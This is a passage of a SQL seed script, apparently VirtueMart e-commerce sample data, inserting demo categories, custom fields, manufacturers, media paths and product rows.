'VatTax', '+%', 10.0000, 47, 0, 0, 0, '', 0, 0, 1); INSERT IGNORE INTO `#__virtuemart_calc_categories` (`id`, `virtuemart_calc_id`, `virtuemart_category_id`) VALUES (1, 3, 3); INSERT IGNORE INTO `#__virtuemart_categories` (`virtuemart_category_id`, `virtuemart_vendor_id`, `category_template`, `category_layout`, `category_product_layout`, `products_per_row`, `limit_list_step`, `limit_list_initial`, `hits`, `metarobot`, `metaauthor`, `ordering`, `shared`, `published`) VALUES (1, 1, '0', '0', '0', 0, '0', 0, 0, '', '', 1, 0, 1), (2, 1, '0', '0', '0', 0, '0', 0, 0, '', '', 2, 0, 1), (3, 1, '0', '0', '0', 0, '0', 0, 0, '', '', 3, 0, 1), (4, 1, '0', '0', '0', 0, '0', 0, 0, '', '', 4, 0, 1), (5, 1, '0', '0', '0', 0, '0', 0, 0, '', '', 1, 0, 1), (6, 1, '0', '0', '0', 0, '0', 0, 0, '', '', 2, 0, 1), (7, 1, '0', '0', '0', 0, '0', 0, 0, '', '', 5, 0, 1), (8, 1, '0', '0', '0', 0, '0', 0, 0, '', '', 1, 0, 1), (9, 1, '0', '0', '0', 0, '0', 0, 0, '', '', 1, 0, 1); INSERT IGNORE INTO `#__virtuemart_categories_XLANG` (`virtuemart_category_id`, `category_name`, `category_description`, `metadesc`, `metakey`, `customtitle`, `slug`) VALUES (1, 'Default Products', '

          Sample of several default products. You will find settings displayed.

          ', '', '', '', 'default-products'), (2, 'Default Pattern', '

          Example for usage of product pattern. For showcase reason the PATTERN is NOT unpublished.

          ', '', '', '', 'default-pattern'), (3, 'Pagination testarea', '

          Notice: for correct ordering in product view set valid ordering in BE.
          Ordering showcase category. Use this category to test the ordering of products. You can also select several Manufacturer.

          ', '', '', '', 'pagination-testarea'), (4, 'Headgear', '

          Showcase for subcategory with several sample product.

          ', '', '', '', 'headgear'), (5, 'Hats', '

          Example for usage of product pattern. For showcase reason the PATTERN is NOT unpublished.
          Sample for product category. Create new category in VM BE > Product Categories > New

          ', '', '', '', 'hats'), (6, 'Caps', '

          Example for usage of product pattern. For showcase reason the PATTERN is NOT unpublished.
          Sample for product category. Create new category in VM BE > Product Categories > New

          ', '', '', '', 'caps'), (7, 'Clothes', '', '', '', '', 'clothes'), (8, 'Men clothes', '

          Sample for Subcategory.
          Select superordinated category in VM BE > Product Categories > Your Category in section Details > Category Ordering

          ', '', '', '', 'men-clothes'), (9, 'Women clothes', '

          Sample for Subcategory.
          Select superordinated category in VM BE > Product Categories > Your Category in section Details > Category Ordering

          ', '', '', '', 'women-clothes'); INSERT IGNORE INTO `#__virtuemart_category_categories` (`id`, `category_parent_id`, `category_child_id`, `ordering`) VALUES (1, 0, 1, 0), (2, 0, 2, 0), (3, 0, 3, 0), (4, 0, 4, 0), (5, 4, 5, 5), (6, 4, 6, 6), (7, 0, 7, 5), (8, 7, 8, 1), (9, 7, 9, 1); INSERT IGNORE INTO `#__virtuemart_category_medias` (`id`, `virtuemart_category_id`, `virtuemart_media_id`, `ordering`) VALUES (1, 1, 2, 1), (2, 2, 2, 1), (3, 3, 2, 1), (4, 4, 3, 1), (8, 7, 6, 1), (6, 6, 5, 1), (7, 5, 3, 1), (9, 8, 6, 1), (10, 9, 7, 1); INSERT IGNORE INTO `#__virtuemart_coupons` (`virtuemart_coupon_id`, `coupon_code`, `percent_or_total`, `coupon_type`, `coupon_value`, `coupon_start_date`, `coupon_expiry_date`, `coupon_value_valid`, `coupon_used`, `published`) VALUES (1, 'Sample Coupon', 'total', 'permanent', 0.01000, '0000-00-00 00:00:00', '2015-01-01 00:00:00', 0.00000, '0', 1); INSERT IGNORE INTO `#__virtuemart_customs` (`virtuemart_custom_id`, `custom_parent_id`, `virtuemart_vendor_id`, `custom_jplugin_id`, `custom_element`, `admin_only`, `custom_title`, `show_title`, `custom_tip`, `custom_value`, `custom_field_desc`, `field_type`, `is_list`, `is_hidden`, `is_cart_attribute`, `layout_pos`, `custom_params`, `shared`, `published`, `ordering`) VALUES (1, 0, 1, 0, '', 0, 'COM_VIRTUEMART_RELATED_PRODUCTS', 1, 'COM_VIRTUEMART_RELATED_PRODUCTS_TIP', '', 'COM_VIRTUEMART_RELATED_PRODUCTS_DESC', 'R', 0, 0, 0, NULL, NULL, 0, 1, 0), (2, 0, 1, 0, '', 0, 'COM_VIRTUEMART_RELATED_CATEGORIES', 1, 'COM_VIRTUEMART_RELATED_CATEGORIES_TIP', NULL, 'COM_VIRTUEMART_RELATED_CATEGORIES_DESC', 'Z', 0, 0, 0, NULL, NULL, 0, 1, 0), (3, 0, 1, 0, '0', 0, 'Customfield String', 1, '', '', '', 'S', 0, 0, 0, '', '0', 0, 1, 0), (4, 0, 1, 0, '0', 0, 'Customfield Textarea', 1, '', '', '', 'Y', 0, 0, 0, '', '0', 0, 1, 0), (5, 0, 1, 0, '0', 0, 'Customfield Parent', 1, '', '', '', 'P', 0, 0, 0, '', '0', 0, 1, 0), (6, 5, 1, 0, '0', 0, 'Customfield Child String 1', 1, '', '', '', 'S', 0, 0, 0, '', '0', 0, 1, 0), (7, 5, 1, 0, '0', 0, 'Customfield Child String 2', 1, '', '', '', 'S', 0, 0, 0, '', '0', 0, 1, 0), (8, 5, 1, 0, '0', 0, 'Customfield Textarea Child', 1, '', '', '', 'Y', 0, 0, 0, '', '0', 0, 1, 0), (9, 0, 1, 0, '0', 0, 'Customfield Cart Variant', 1, '', '', '', 'V', 0, 0, 1, '', '0', 0, 1, 0), (10, 0, 1, 0, '0', 0, 'Customfield Child Variant', 1, '', '', '', 'A', 0, 0, 1, '', '0', 0, 1, 0), (11, 0, 1, 0, '0', 0, 'Caps Customfield Parent', 1, '', '', '', 'P', 0, 0, 0, '', '0', 0, 1, 0), (12, 0, 1, 0, '0', 0, 'Cap Size', 1, '', '', '', 'V', 0, 0, 1, '', '0', 0, 1, 0), (13, 11, 1, 0, '0', 0, 'Cap Details', 1, '', '', '', 'S', 0, 0, 0, '', '0', 0, 1, 0), (14, 11, 1, 0, '0', 0, 'Cap Components', 1, '', '', '', 'S', 0, 0, 0, '', '0', 0, 1, 0), (15, 0, 1, 0, '0', 0, 'Clothing weave', 1, '', '', '', 'V', 0, 0, 1, '', '0', 0, 1, 0), (16, 0, 1, 0, '0', 0, 'Clothing size', 1, '', '', '', 'V', 0, 0, 1, '', '0', 0, 1, 0), (17, 0, 1, 0, '0', 0, 'Clothing parent', 1, '', '', '', 'P', 0, 0, 0, '', '0', 0, 1, 0), (18, 17, 1, 0, '0', 0, 'Clothing Composit', 1, '', '', '', 'S', 0, 0, 0, '', '0', 0, 1, 0), (19, 17, 1, 0, '0', 0, 'Clothing textarea', 1, '', '', '', 'Y', 0, 0, 0, '', '0', 0, 1, 0); INSERT IGNORE INTO `#__virtuemart_manufacturercategories` (`virtuemart_manufacturercategories_id`, `published`) VALUES (1, 1); INSERT IGNORE INTO `#__virtuemart_manufacturercategories_XLANG` (`virtuemart_manufacturercategories_id`, `mf_category_name`, `mf_category_desc`, `slug`) VALUES (1, 'default', 'This is the default manufacturer category ', 'default'); INSERT IGNORE INTO `#__virtuemart_manufacturers` (`virtuemart_manufacturer_id`, `virtuemart_manufacturercategories_id`, `hits`, `published`) VALUES (1, 1, 0, 1), (2, 1, 0, 1), (3, 1, 0, 1); INSERT IGNORE INTO `#__virtuemart_manufacturers_XLANG` (`virtuemart_manufacturer_id`, `mf_name`, `mf_email`, `mf_desc`, `mf_url`, `slug`) VALUES (1, 'Manufacturer', 'manufacturer@example.org', '

          An example for a manufacturer

          ', 'http://www.example.org', 'manufacturer'), (2, 'Default', 'example@manufacturer.net', '

          Default manufacturer

          ', 'example.manufacturer.net', 'default'), (3, 'Producer', 'info@producer.com', '

          An example for another manufacturer.

          ', 'producer.com', 'producer'); INSERT IGNORE INTO `#__virtuemart_manufacturer_medias` (`id`, `virtuemart_manufacturer_id`, `virtuemart_media_id`, `ordering`) VALUES (1, 1, 9, 1), (2, 2, 9, 1), (3, 3, 9, 1); INSERT IGNORE INTO `#__virtuemart_medias` (`virtuemart_media_id`, `virtuemart_vendor_id`, `file_title`, `file_description`, `file_meta`, `file_mimetype`, `file_type`, `file_url`, `file_url_thumb`, `file_is_product_image`, `file_is_downloadable`, `file_is_forSale`, `file_params`, `file_lang`, `shared`, `published`) VALUES (1, 1, 'vendor.gif', '', '', 'image/gif', 'vendor', 'images/stories/virtuemart/vendor/vendor.gif', '', 0, 0, 0, '', '', 0, 1), (2, 1, 'student_hat_16.jpg', '', '', 'image/jpeg', 'category', 'images/stories/virtuemart/category/student_hat_16.jpg', '', 0, 0, 0, '', '', 0, 1), (3, 1, 'hat_category8.jpg', '', '', 'image/jpeg', 'category', 'images/stories/virtuemart/category/hat_category8.jpg', '', 0, 0, 0, '', '', 0, 1), (5, 1, 'cap6.jpg', '', '', 'image/jpeg', 'category', 'images/stories/virtuemart/category/cap6.jpg', '', 0, 0, 0, '', '', 0, 1), (6, 1, 'jacket_classic7.jpg', '', '', 'image/jpeg', 'category', 'images/stories/virtuemart/category/jacket_classic7.jpg', '', 0, 0, 0, '', '', 0, 1), (7, 1, 'black_dress_2.jpg', '', '', 'image/jpeg', 'category', 'images/stories/virtuemart/category/black_dress_2.jpg', '', 0, 0, 0, '', '', 0, 1), (8, 1, 'cart_logo.jpg', '', '', 'image/jpeg', 'product', 'images/stories/virtuemart/product/cart_logo.jpg', '', 0, 0, 0, '', '', 0, 1), (9, 1, 'manufacturer.jpg', '', '', 'image/jpeg', 'manufacturer', 'images/stories/virtuemart/manufacturer/manufacturer.jpg', '', 0, 0, 0, '', '', 0, 1), (10, 1, 'classic_hat.jpg', '', '', 'image/jpeg', 'product', 'images/stories/virtuemart/product/classic_hat.jpg', '', 0, 0, 0, '', '', 0, 1), (11, 1, 'cowboy_hat.jpg', '', '', 'image/jpeg', 'product', 'images/stories/virtuemart/product/cowboy_hat.jpg', '', 0, 0, 0, '', '', 0, 1), (12, 1, 'derbyhat.jpg', '', '', 'image/jpeg', 'product', 'images/stories/virtuemart/product/derbyhat.jpg', '', 0, 0, 0, '', '', 0, 1), (13, 1, 'santa_cap.jpg', '', '', 'image/jpeg', 'product', 'images/stories/virtuemart/product/santa_cap.jpg', '', 0, 0, 0, '', '', 0, 1), (14, 1, 'baseballcap.jpg', '', '', 'image/jpeg', 'product', 'images/stories/virtuemart/product/baseballcap.jpg', '', 0, 0, 0, '', '', 0, 1), (15, 1, 'marinecap.jpg', '', '', 'image/jpeg', 'product', 'images/stories/virtuemart/product/marinecap.jpg', '', 0, 0, 0, '', '', 0, 1), (16, 1, 'jumper.jpg', '', '', 'image/jpeg', 'product', 'images/stories/virtuemart/product/jumper.jpg', '', 0, 0, 0, '', '', 0, 1), (17, 1, 'wide_dress_2.jpg', '', '', 'image/jpeg', 'product', 'images/stories/virtuemart/product/wide_dress_2.jpg', '', 0, 0, 0, '', '', 0, 1), (18, 1, 'jacket_classic.jpg', '', '', 'image/jpeg', 'product', 'images/stories/virtuemart/product/jacket_classic.jpg', '', 0, 0, 0, '', '', 0, 1), (19, 1, 'poncho.jpg', '', '', 'image/jpeg', 'product', 'images/stories/virtuemart/product/poncho.jpg', '', 0, 0, 0, '', '', 0, 1), (20, 1, 'dress.jpg', '', '', 'image/jpeg', 'product', 'images/stories/virtuemart/product/dress.jpg', '', 0, 0, 0, '', '', 0, 1); INSERT IGNORE INTO `#__virtuemart_products` (`virtuemart_product_id`, `virtuemart_vendor_id`, `product_parent_id`, `product_sku`, `product_weight`, `product_weight_uom`, `product_length`, `product_width`, `product_height`, `product_lwh_uom`, `product_url`, `product_in_stock`, `product_ordered`, `low_stock_notification`, `product_available_date`, `product_availability`, `product_special`, `product_sales`, `product_unit`, `product_packaging`, `product_params`, `hits`, `intnotes`, `metarobot`, `metaauthor`, `layout`, `published`, `pordering`, `created_on`, `created_by`, `modified_on`, `modified_by`) VALUES (1, 1, 0, '', 50.0000, 'KG', 45.0000, 5.0000, 5.0000, 'M', '', 78, 0, 5, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (2, 1, 0, '', 15.0000, 'KG', 10.0000, 25.0000, 10.0000, 'M', '', 10, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', 0.1000, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (3, 1, 0, '', 0.1000, 'KG', 0.0100, 0.0100, 0.0300, 'M', '', 55, 0, 10, '0000-00-00 00:00:00', '', 0, 0, 'KG', 1.0000, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (4, 1, 0, '', 1.0000, 'KG', 0.2000, 0.1000, 0.3000, 'M', '', 100, 0, 5, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (5, 1, 0, '', 0.1000, 'KG', 0.2000, 0.0100, 0.0300, 'M', '', 10, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (6, 1, 0, '', 0.1000, 'KG', 0.2000, 0.0100, 0.3000, 'M', '', 50, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (7, 1, 0, '', 0.4000, 'KG', 0.1000, 0.2000, 0.3000, 'M', '', 80, 0, 10, '0000-00-00 00:00:00', '', 0, 0, 'KG', 0.1000, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box="1"|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (8, 1, 7, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 1, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (9, 1, 7, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 2, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (10, 1, 7, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 3, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (11, 1, 0, '', 0.4000, 'KG', 0.1000, 0.2000, 0.3000, 'M', '', 150, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (12, 1, 11, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 1, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (13, 1, 11, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 2, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (14, 1, 11, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 3, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (15, 1, 0, '', 0.1000, 'KG', 0.1000, 0.2000, 0.3000, 'M', '', 100, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (16, 1, 15, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 1, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (17, 1, 15, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 2, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (18, 1, 15, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 3, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (19, 1, 0, '', 0.4000, 'KG', 0.1000, 0.2000, 0.3000, 'M', '', 100, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box="1"|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (20, 1, 19, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (21, 1, 19, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (22, 1, 19, '', 4.0000, 'KG', 1.0000, 2.0000, 3.0000, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box="10"|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (23, 1, 0, '', 0.4000, 'KG', 0.1000, 0.2000, 0.3000, 'M', '', 80, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box="1"|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (24, 1, 23, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 1, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (25, 1, 23, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 2, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (26, 1, 23, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box="10"|', NULL, '', '', '', '0', 1, 3, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (27, 1, 0, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (28, 1, 27, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (29, 1, 27, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (30, 1, 27, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (31, 1, 27, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (32, 1, 27, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (33, 1, 27, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (34, 1, 27, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (35, 1, 27, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (36, 1, 27, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (37, 1, 27, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (38, 1, 0, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (39, 1, 38, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (40, 1, 38, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (41, 1, 38, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (42, 1, 38, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (43, 1, 38, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (44, 1, 38, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (45, 1, 38, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (46, 1, 38, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (47, 1, 38, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (48, 1, 38, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (49, 1, 0, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (50, 1, 49, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (51, 1, 49, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (52, 1, 49, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (53, 1, 49, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (54, 1, 49, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (55, 1, 49, '', NULL, 'KG', NULL, NULL, NULL, 'M', 